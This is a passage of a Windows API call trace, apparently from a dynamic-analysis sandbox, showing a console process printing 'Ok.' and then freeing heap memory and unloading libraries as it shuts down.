	[0256.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Ok.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6
	[0256.269] GetProcessHeap () returned 0x1e025de0000
	[0256.269] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x6) returned 0x1e025e33900
	[0256.269] GetConsoleOutputCP () returned 0x1b5
	[0256.276] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Ok.\r\n", cchWideChar=-1, lpMultiByteStr=0x1e025e33900, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ok.\r\n", lpUsedDefaultChar=0x0) returned 6
	[0256.276] WriteFile (in: hFile=0x254, lpBuffer=0x1e025e33900*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x21176f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1e025e33900*, lpNumberOfBytesWritten=0x21176f6a0*=0x5, lpOverlapped=0x0) returned 1
	[0256.276] GetProcessHeap () returned 0x1e025de0000
	[0256.276] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e33900) returned 1
	[0256.276] LocalFree (hMem=0x1e025e4a9e0) returned 0x0
	[0256.277] FormatMessageW (in: dwFlags=0x500, lpSource=0x7ff7b459b80c, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0x211777720, nSize=0x0, Arguments=0x211777730 | out: lpBuffer="㍐◤Ǡ") returned 0x2
	[0256.277] GetStdHandle (nStdHandle=0xfffffff5) returned 0x254
	[0256.277] GetConsoleOutputCP () returned 0x1b5
	[0256.280] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3
	[0256.280] GetProcessHeap () returned 0x1e025de0000
	[0256.280] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x3) returned 0x1e025e33a80
	[0256.280] GetConsoleOutputCP () returned 0x1b5
	[0256.303] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x1e025e33a80, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0256.303] WriteFile (in: hFile=0x254, lpBuffer=0x1e025e33a80*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2117776d0, lpOverlapped=0x0 | out: lpBuffer=0x1e025e33a80*, lpNumberOfBytesWritten=0x2117776d0*=0x2, lpOverlapped=0x0) returned 1
	[0256.303] GetProcessHeap () returned 0x1e025de0000
	[0256.303] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e33a80) returned 1
	[0256.303] LocalFree (hMem=0x1e025e43350) returned 0x0
	[0256.303] GetProcessHeap () returned 0x1e025de0000
	[0256.303] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2d870) returned 1
	[0256.303] GetProcessHeap () returned 0x1e025de0000
	[0256.303] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2dbf0) returned 1
	[0256.303] GetProcessHeap () returned 0x1e025de0000
	[0256.303] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e338e0) returned 1
	[0256.303] GetProcessHeap () returned 0x1e025de0000
	[0256.303] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2d950) returned 1
	[0256.303] GetProcessHeap () returned 0x1e025de0000
	[0256.303] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e37260) returned 1
	[0256.303] GetProcessHeap () returned 0x1e025de0000
	[0256.304] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e40ab0) returned 1
	[0256.304] GetProcessHeap () returned 0x1e025de0000
	[0256.304] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2de70) returned 1
	[0256.304] GetProcessHeap () returned 0x1e025de0000
	[0256.304] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2de30) returned 1
	[0256.304] GetProcessHeap () returned 0x1e025de0000
	[0256.304] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e33940) returned 1
	[0256.304] GetProcessHeap () returned 0x1e025de0000
	[0256.304] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2dd70) returned 1
	[0256.304] GetProcessHeap () returned 0x1e025de0000
	[0256.304] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2dcb0) returned 1
	[0256.304] GetProcessHeap () returned 0x1e025de0000
	[0256.304] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2de50) returned 1
	[0256.304] GetProcessHeap () returned 0x1e025de0000
	[0256.304] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2d750) returned 1
	[0256.304] GetProcessHeap () returned 0x1e025de0000
	[0256.304] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2d810) returned 1
	[0256.304] GetProcessHeap () returned 0x1e025de0000
	[0256.304] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e33810) returned 1
	[0256.304] GetProcessHeap () returned 0x1e025de0000
	[0256.304] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2d7b0) returned 1
	[0256.304] GetProcessHeap () returned 0x1e025de0000
	[0256.304] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2d850) returned 1
	[0256.304] GetProcessHeap () returned 0x1e025de0000
	[0256.304] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2d830) returned 1
	[0256.304] GetProcessHeap () returned 0x1e025de0000
	[0256.304] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2db90) returned 1
	[0256.304] GetProcessHeap () returned 0x1e025de0000
	[0256.304] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2de10) returned 1
	[0256.304] GetProcessHeap () returned 0x1e025de0000
	[0256.304] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2db50) returned 1
	[0256.304] GetProcessHeap () returned 0x1e025de0000
	[0256.304] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2dbd0) returned 1
	[0256.329] GetProcessHeap () returned 0x1e025de0000
	[0256.330] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e38f70) returned 1
	[0256.330] FreeLibrary (hLibModule=0x7ff7b4590000) returned 1
	[0256.330] FreeLibrary (hLibModule=0x7ff8549a0000) returned 1
	[0256.342] FreeLibrary (hLibModule=0x7ff846850000) returned 1
	[0256.347] free (_Block=0x1e025c21610) 
	[0256.348] LocalFree (hMem=0x1e025e02db0) returned 0x0
	[0256.348] LocalFree (hMem=0x1e025e019e0) returned 0x0
	[0256.348] LocalFree (hMem=0x1e025de5390) returned 0x0
	[0256.348] LocalFree (hMem=0x1e025df9420) returned 0x0
	[0256.349] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x1e025e02db0
	[0256.349] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x1e027d94960
	[0256.349] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1e027d94fc0
	[0256.349] free (_Block=0x1e025c26f50) 
	[0256.349] free (_Block=0x0) 
	[0256.349] free (_Block=0x1e025c26f30) 
	[0256.349] free (_Block=0x1e025c26f70) 
	[0256.349] free (_Block=0x1e025c215f0) 
	[0256.349] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1e025e41b70
	[0256.350] LocalFree (hMem=0x1e025e41b70) returned 0x0
	[0256.350] LocalFree (hMem=0x1e025e03100) returned 0x0
	[0256.350] LocalFree (hMem=0x1e025e02db0) returned 0x0
	[0256.350] free (_Block=0x1e025c25530) 
	[0256.351] GetModuleHandleA (lpModuleName="MSVCRT.DLL") returned 0x7ff8602c0000
	[0256.351] FreeLibrary (hLibModule=0x7ff8602c0000) returned 1
	[0256.351] LocalFree (hMem=0x1e027d94fc0) returned 0x0
	[0256.351] LocalFree (hMem=0x1e027d94960) returned 0x0
	[0256.351] GlobalHandle (pMem=0x1e025e02b90) returned 0x1e027680008
	[0256.351] GlobalUnlock (hMem=0x1e027680008) returned 0
	[0256.355] FreeLibrary (hLibModule=0x7ff846700000) returned 1
	[0256.358] FreeLibrary (hLibModule=0x7ff851200000) returned 1
	[0256.359] FreeLibrary (hLibModule=0x7ff850880000) returned 1
	[0256.368] FreeLibrary (hLibModule=0x7ff84b120000) returned 1
	[0256.380] FreeLibrary (hLibModule=0x7ff850f20000) returned 1
	[0256.383] FreeLibrary (hLibModule=0x7ff846360000) returned 1
	[0256.386] FreeLibrary (hLibModule=0x7ff846230000) returned 1
	[0256.406] FreeLibrary (hLibModule=0x7ff850cd0000) returned 1
	[0256.407] FreeLibrary (hLibModule=0x7ff844500000) returned 1
	[0256.431] FreeLibrary (hLibModule=0x7ff843eb0000) returned 1
	[0256.432] FreeLibrary (hLibModule=0x7ff849fb0000) returned 1
	[0256.436] FreeLibrary (hLibModule=0x7ff850870000) returned 1
	[0256.438] FreeLibrary (hLibModule=0x7ff8466a0000) returned 1
	[0256.438] FreeLibrary (hLibModule=0x7ff84b3e0000) returned 1
	[0256.439] FreeLibrary (hLibModule=0x7ff844410000) returned 1
	[0256.456] FreeLibrary (hLibModule=0x7ff8466f0000) returned 1
	[0256.459] FreeLibrary (hLibModule=0x7ff843e00000) returned 1
	[0256.463] FreeLibrary (hLibModule=0x7ff843d90000) returned 1
	[0256.481] GetProcessHeap () returned 0x1e025de0000
	[0256.481] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e11f40) returned 1
	[0256.481] GetProcessHeap () returned 0x1e025de0000
	[0256.481] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee8d0) returned 1
	[0256.481] GetProcessHeap () returned 0x1e025de0000
	[0256.481] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025deeb10) returned 1
	[0256.481] GetProcessHeap () returned 0x1e025de0000
	[0256.481] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee470) returned 1
	[0256.481] GetProcessHeap () returned 0x1e025de0000
	[0256.481] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee9d0) returned 1
	[0256.481] GetProcessHeap () returned 0x1e025de0000
	[0256.481] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025deebd0) returned 1
	[0256.481] GetProcessHeap () returned 0x1e025de0000
	[0256.481] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee590) returned 1
	[0256.481] GetProcessHeap () returned 0x1e025de0000
	[0256.481] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025deeb90) returned 1
	[0256.481] GetProcessHeap () returned 0x1e025de0000
	[0256.481] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee5f0) returned 1
	[0256.481] GetProcessHeap () returned 0x1e025de0000
	[0256.481] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee6f0) returned 1
	[0256.482] GetProcessHeap () returned 0x1e025de0000
	[0256.482] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025deeab0) returned 1
	[0256.482] GetProcessHeap () returned 0x1e025de0000
	[0256.482] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee610) returned 1
	[0256.482] GetProcessHeap () returned 0x1e025de0000
	[0256.482] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee630) returned 1
	[0256.482] GetProcessHeap () returned 0x1e025de0000
	[0256.482] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee8f0) returned 1
	[0256.482] GetProcessHeap () returned 0x1e025de0000
	[0256.482] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee450) returned 1
	[0256.482] GetProcessHeap () returned 0x1e025de0000
	[0256.482] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee490) returned 1
	[0256.482] GetProcessHeap () returned 0x1e025de0000
	[0256.482] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee6b0) returned 1
	[0256.482] GetProcessHeap () returned 0x1e025de0000
	[0256.482] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee7d0) returned 1
	[0256.482] GetProcessHeap () returned 0x1e025de0000
	[0256.482] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee9b0) returned 1
	[0256.482] GetProcessHeap () returned 0x1e025de0000
	[0256.482] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025deebb0) returned 1
	[0256.482] GetProcessHeap () returned 0x1e025de0000
	[0256.482] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee4b0) returned 1
	[0256.482] GetProcessHeap () returned 0x1e025de0000
	[0256.482] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee6d0) returned 1
	[0256.482] GetProcessHeap () returned 0x1e025de0000
	[0256.482] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee4d0) returned 1
	[0256.482] GetProcessHeap () returned 0x1e025de0000
	[0256.482] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025deead0) returned 1
	[0256.482] GetProcessHeap () returned 0x1e025de0000
	[0256.482] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee570) returned 1
	[0256.482] GetProcessHeap () returned 0x1e025de0000
	[0256.482] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee810) returned 1
	[0256.482] GetProcessHeap () returned 0x1e025de0000
	[0256.482] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee890) returned 1
	[0256.482] GetProcessHeap () returned 0x1e025de0000
	[0256.482] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee950) returned 1
	[0256.482] GetProcessHeap () returned 0x1e025de0000
	[0256.482] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee5b0) returned 1
	[0256.482] GetProcessHeap () returned 0x1e025de0000
	[0256.482] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025deea50) returned 1
	[0256.482] GetProcessHeap () returned 0x1e025de0000
	[0256.482] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee510) returned 1
	[0256.482] GetProcessHeap () returned 0x1e025de0000
	[0256.482] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025deeb70) returned 1
	[0256.482] GetProcessHeap () returned 0x1e025de0000
	[0256.482] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee530) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.483] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee670) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.483] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee990) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.483] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee4f0) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.483] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee830) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.483] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee910) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.483] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee8b0) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.483] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee850) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.483] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee550) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.483] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee7f0) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.483] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee5d0) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.483] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee870) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.483] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025deea10) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.483] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025deeb30) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.483] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025deeb50) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.483] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee650) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.483] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025deea70) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.483] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee790) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.483] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025deea90) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.483] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee690) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.483] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee9f0) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.483] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee710) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.483] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee930) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.483] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025deea30) returned 1
	[0256.483] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee750) returned 1
	[0256.484] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee970) returned 1
	[0256.484] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee730) returned 1
	[0256.484] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025deeaf0) returned 1
	[0256.484] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee770) returned 1
	[0256.484] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dee7b0) returned 1
	[0256.484] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defc10) returned 1
	[0256.484] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defbf0) returned 1
	[0256.484] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defd30) returned 1
	[0256.484] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defd10) returned 1
	[0256.484] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defe90) returned 1
	[0256.484] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025def990) returned 1
	[0256.484] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025deff10) returned 1
	[0256.484] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defdb0) returned 1
	[0256.484] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defcf0) returned 1
	[0256.484] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defeb0) returned 1
	[0256.484] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defd70) returned 1
	[0256.484] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defe10) returned 1
	[0256.484] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025deff70) returned 1
	[0256.484] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defdf0) returned 1
	[0256.484] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defbb0) returned 1
	[0256.484] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defb50) returned 1
	[0256.484] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025deff50) returned 1
	[0256.484] GetProcessHeap () returned 0x1e025de0000
	[0256.484] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025def910) returned 1
	[0256.485] GetProcessHeap () returned 0x1e025de0000
	[0256.485] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defad0) returned 1
	[0256.485] GetProcessHeap () returned 0x1e025de0000
	[0256.485] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025def9b0) returned 1
	[0256.485] GetProcessHeap () returned 0x1e025de0000
	[0256.485] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defb70) returned 1
	[0256.485] GetProcessHeap () returned 0x1e025de0000
	[0256.485] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025def8d0) returned 1
	[0256.485] GetProcessHeap () returned 0x1e025de0000
	[0256.485] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defa70) returned 1
	[0256.485] GetProcessHeap () returned 0x1e025de0000
	[0256.485] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025def930) returned 1
	[0256.485] GetProcessHeap () returned 0x1e025de0000
	[0256.485] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025def850) returned 1
	[0256.485] GetProcessHeap () returned 0x1e025de0000
	[0256.485] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defe30) returned 1
	[0256.485] GetProcessHeap () returned 0x1e025de0000
	[0256.485] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defe50) returned 1
	[0256.485] GetProcessHeap () returned 0x1e025de0000
	[0256.485] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defe70) returned 1
	[0256.485] GetProcessHeap () returned 0x1e025de0000
	[0256.485] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025def950) returned 1
	[0256.485] GetProcessHeap () returned 0x1e025de0000
	[0256.485] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defc30) returned 1
	[0256.485] GetProcessHeap () returned 0x1e025de0000
	[0256.485] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025deffb0) returned 1
	[0256.485] GetProcessHeap () returned 0x1e025de0000
	[0256.485] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defd50) returned 1
	[0256.485] GetProcessHeap () returned 0x1e025de0000
	[0256.485] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025def970) returned 1
	[0256.485] GetProcessHeap () returned 0x1e025de0000
	[0256.485] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defd90) returned 1
	[0256.485] GetProcessHeap () returned 0x1e025de0000
	[0256.485] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defc90) returned 1
	[0256.485] GetProcessHeap () returned 0x1e025de0000
	[0256.485] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025deff30) returned 1
	[0256.485] GetProcessHeap () returned 0x1e025de0000
	[0256.485] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defdd0) returned 1
	[0256.486] GetProcessHeap () returned 0x1e025de0000
	[0256.486] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025deff90) returned 1
	[0256.486] GetProcessHeap () returned 0x1e025de0000
	[0256.486] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025deffd0) returned 1
	[0256.486] GetProcessHeap () returned 0x1e025de0000
	[0256.486] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defed0) returned 1
	[0256.486] GetProcessHeap () returned 0x1e025de0000
	[0256.486] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025def870) returned 1
	[0256.486] GetProcessHeap () returned 0x1e025de0000
	[0256.486] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defef0) returned 1
	[0256.486] GetProcessHeap () returned 0x1e025de0000
	[0256.486] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025def890) returned 1
	[0256.486] GetProcessHeap () returned 0x1e025de0000
	[0256.486] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defcd0) returned 1
	[0256.486] GetProcessHeap () returned 0x1e025de0000
	[0256.486] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025def9d0) returned 1
